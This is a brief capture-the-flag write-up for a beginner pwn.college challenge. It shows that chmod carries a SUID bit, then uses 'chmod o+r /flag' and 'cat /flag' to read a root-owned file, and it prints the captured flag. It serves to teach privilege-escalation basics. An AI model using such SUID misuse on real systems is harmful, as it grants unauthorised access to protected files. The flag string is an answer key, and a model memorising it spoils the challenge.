Category: Program Misuse
Platform: pwn.college
Difficulty: Beginner
Date: 2025-07-16
Author: Himanshu Parate

🧠 Summary:

The challenge abuses a SUID bit set on /usr/bin/chmod, allowing an unprivileged user to read the root-owned flag file at /flag.

🔍 Enumeration

ls -l /usr/bin/chmod

Output:

-rwsr-xr-x 1 root root 47480 Sep  5  2019 /usr/bin/chmod
  • The s in -rws indicates it’s a SUID binary.
  • chmod runs with root privileges.

🚀 Exploitation

The chmod command in Linux is used to change file or directory permissions — controlling who can read, write, or execute a file.

chmod o+r /flag
cat /flag

Output:

pwn.college{c5xYhHS984OhwDoLHpbmFw0PUSm.dBDOxwSM0IzMyEzW}